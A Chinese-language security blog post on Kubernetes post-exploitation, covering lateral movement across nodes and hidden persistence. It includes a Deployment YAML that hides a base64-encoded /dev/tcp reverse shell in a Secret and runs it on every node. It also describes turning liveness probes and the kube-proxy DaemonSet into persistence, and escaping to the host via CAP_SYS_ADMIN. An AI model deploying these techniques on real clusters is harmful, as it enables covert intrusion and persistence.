K8S后渗透横向节点与持久化隐蔽方式探索
前言
Kubernetes
Kubernetes架构
master
节点,多个worker
节点。工作负载
Deployment
StatefulSet
DaemonSet
CronJob
Namespace
•
default
: 默认的命名空间,不可删除,未指定命名空间的对象都会被分配到default中。•
kube-system
: Kubernetes 系统对象(控制平面和Node组件)所使用的命名空间。•
kube-public
: 自动创建的公共命名空间,所有用户(包括未经过身份验证的用户)都可以读取它。通常我们约定,将整个集群中公用的可见和可读的资源放在这个空间中。•
kube-node-lease
: 租约(Lease)[3]对象使用的命名空间。每个节点都有一个关联的 lease 对象,lease 是一种轻量级资源。lease对象通过发送心跳[4],检测集群中的每个节点是否发生故障。
下图为使用kubeadm
搭建的k8s集群默认的ns以及相关资源。
k8s集群默认的leases
。
kube-system
。存储
• 临时卷(Ephemeral Volume):
• 持久卷(Persistent Volume):
• 投射卷(Projected Volumes):projected 卷可以将多个卷映射到同一个目录上。
ConfigMap
• 用来在键值对数据库(etcd)中保存非加密数据。一般用来保存配置文件。
• 可以用作环境变量、命令行参数或者存储卷。
• 将环境配置信息与容器镜像解耦,便于配置的修改。
• 在设计上不是用来保存大量数据的。
apiVersion: v1
kind: ConfigMap
metadata:
name: game-demo
data:
# property-like keys; each key maps to a simple value
player_initial_lives: "3"
ui_properties_file_name: "user-interface.properties"
# file-like keys
game.properties: |
enemy.types=aliens,monsters
player.maximum-lives=5
user-interface.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true
Secret
•
data
字段用来存储 base64 编码数据。•
stringData
存储未编码的字符串。
apiVersion: v1
kind: Secret
metadata:
name: mysecret
type: Opaque
data:
USER_NAME: YWRtaW4=
PASSWORD: OGZmN2I3c3Y5OGZieTdneWQ=
管理对象
• 命令行指令
kubectl
命令来创建和管理 Kubernetes 对象。命令行就好比口头传达,简单、快速、高效。但它功能有限,不适合复杂场景,操作不容易追溯,多用于开发和调试。• 声明式配置
配置对象
yaml
文件中,需要配置的字段如下:•
apiVersion
: Kubernetes API 的版本。•
kind
: 对象类别,例如Pod
、Deployment
、Service
、ReplicaSet
等。•
metadata
: 描述对象的元数据,包括一个name
字符串、UID
和可选的namespace
。•
spec
: 对象的配置。
标签
nodeSelector
Affinity
• affinity.nodeAffinity (NodeAffinity[5])描述 Pod 的节点亲和性调度规则。
• affinity.podAffinity (PodAffinity[6])描述 Pod 亲和性调度规则(例如,将此 Pod 与其他一些 Pod 放在同一节点、区域等)。
• affinity.podAntiAffinity (PodAntiAffinity[7])描述 Pod 反亲和性调度规则(例如,避免将此 Pod 与其他一些 Pod 放在相同的节点、区域等)。
部署一个Deployment在每个node利用
nodeSelector
或者affinity.nodeAffinity
将所有node选择到,查看node相关labels,直接匹配的话,由于master默认设置污点[8]无法匹配,可以通过容忍度设置在控制平面节点上运行。apiVersion: v1
kind: Secret
metadata:
name: mysecret
type: Opaque
data:
USER_NAME: TUR3bU1UWTVMVHRsZUdWaklERTJPVHcrTDJSbGRpOTBZM0F2TVRreUxqRTJPQzQxTmk0eEx6azVPRGc3YzJnZ1BDWXhOamtnUGlZeE5qa2dNajRtTVRZNQ==
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
spec:
selector:
matchLabels:
app: nginx
replicas: 3
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.22
env:
- name: USER
valueFrom:
secretKeyRef:
name: mysecret
key: USER_NAME
optional: false
args:
- /bin/bash
- -c
- echo $USER | base64 -d | bash
ports:
- containerPort: 80
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
nodeSelector:
kubernetes.io/arch: amd64
利用现有资源
修改哪些?
根据前文的探索与了解,可以根据不同的ns以及不同的资源来利用。
• Deployment • StatefulSet • DaemonSet • CronJob
Lease
kube-node-lease
,该ns下主要是Lease
对象,主要,每一个节点都有一个与之对应的Lease
对象,并且该对象隐蔽性很好。根据阅读相关文档[9]研究,由于LeaseSpec(LeaseSpec 是一个 Lease 的规范)不支持,没有执行命令的相关spec,不能执行命令的话导致无法反弹shell,所以无法利用。容器探针
Lease
研究知道,首先这个东西起码要可以执行命令,通过继续对Kubernetes的不断探索,发现了一个叫做容器探针的东西。容器探针(probe)是kubelet
用来对容器定期执行诊断的。•
exec
:在容器内执行指定命令命令退出返回为0,成功退出,结合相关配置可以达到类似CronJob的效果;为了安全以及隐藏,不能真正完成探测不论启动、就绪、存活探测结果不能是失败,要不就重启或者删ip;•
HTTP
:发送一个httpGet请求,如果响应大于等于 200 且小于 400,则诊断被认为是成功的,只能用于本身是web服务的;由于不能同时使用多个检查方式,该方式利用不现实。•
gRPC
:使用gRPC
执行一个远程调用,同上利用不现实。•
tcp
:对容器的 IP 地址上的指定端口执行 TCP 检查,虽然是kubelet
直接在节点上发起探测,但是同上利用不现实。
• 存活(Liveness):存活探针是
kubelet
用来确定什么时候要重启容器。• 就绪(Readiness):就绪探针是
kubelet
可以知道容器何时准备好接受请求流量,当一个 Pod 内的所有容器都就绪时,才能认为该 Pod 就绪。• 启动(Startup):启动探针是
kubelet
用来了解应用容器何时启动。如果提供了启动探针,则所有其他探针都会被禁用,直到此探针成功为止。
CronJon
的特点融合了进来,添加检测方法为exec
类型为存活探针进行利用,具体利用时可以再根据Probe[10]配置文档,设置initialDelaySeconds
、periodSeconds
等字段来控制反弹回的shell时间,以及Pod失败等重启。如何修改现有资源对象?
kubectl
对现有资源进行修改:•
apply
:支持同时多个资源对象,资源不存在时将创建资源,该命令更新后会重启资源。•
edit
:可以直接编辑已经存在的资源,本质就是先get 后apply,可以编辑多个但是一次只能应用一个。•
patch
:通过命令行的方式添加部分内容,接受JSON或YAML格式。•
replace
:替换资源,先删除后创建,必须提供完整的spec。•
set
:配置资源,只能修改部分比如env、image、resources、selector、serviceaccount、subject。
利用kube-proxy
kube-system
,在该ns下kube-proxy
又是特别好拿来利用的,他本身就是DaemonSet
在每一个节点上都有一Pod,并且是每一个集群最基本默认就存在的,并且经过测试,该Pod使用的环境中虽然条件苛刻,但是自带perl
可以用来反弹,并且该Pod默认开启了多项Linux Capabilities
可以直接逃逸到宿主机。CAP_SYS_MODULE
、CAP_DAC_READ_SEARCH
、CAP_SYS_ADMIN
。kubectl -n kube-system edit ds kube-proxy
添加容器探针的利用。kube-proxy
启动的时候--hostname-override
默认为空,那么容器内的hostname
就是节点的名字,最后只需要利用CAP_SYS_ADMIN
根据hostname
逃逸到需要的节点。对于上文提到的手法,默安科技的云原生保护平台(CNAPP)-尚付已支持检测。
参考资料
• https://kubernetes.io/docs/concepts/architecture/
• https://kubernetes.io/docs/concepts/workloads/
• https://kubernetes.io/zh-cn/docs/concepts/architecture/nodes/#heartbeats
• https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/workload-resources/pod-v1/#Probe
• https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#-strong-app-management-strong-
引用链接
[1]
官方文档: https://kubernetes.io/docs/concepts/overview/components/[2]
Cron: https://en.wikipedia.org/wiki/Cron[3]
租约(Lease): https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/lease-v1/[4]
心跳: https://kubernetes.io/zh-cn/docs/concepts/architecture/nodes/#heartbeats[5]
NodeAffinity: https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/workload-resources/pod-v1/#NodeAffinity[6]
PodAffinity: https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodAffinity[7]
PodAntiAffinity: https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodAntiAffinity[8]
污点: https://kubernetes.io/zh-cn/docs/concepts/scheduling-eviction/taint-and-toleration/[9]
相关文档: https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/cluster-resources/lease-v1/#LeaseSpec[10]
Probe: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.25/#probe-v1-core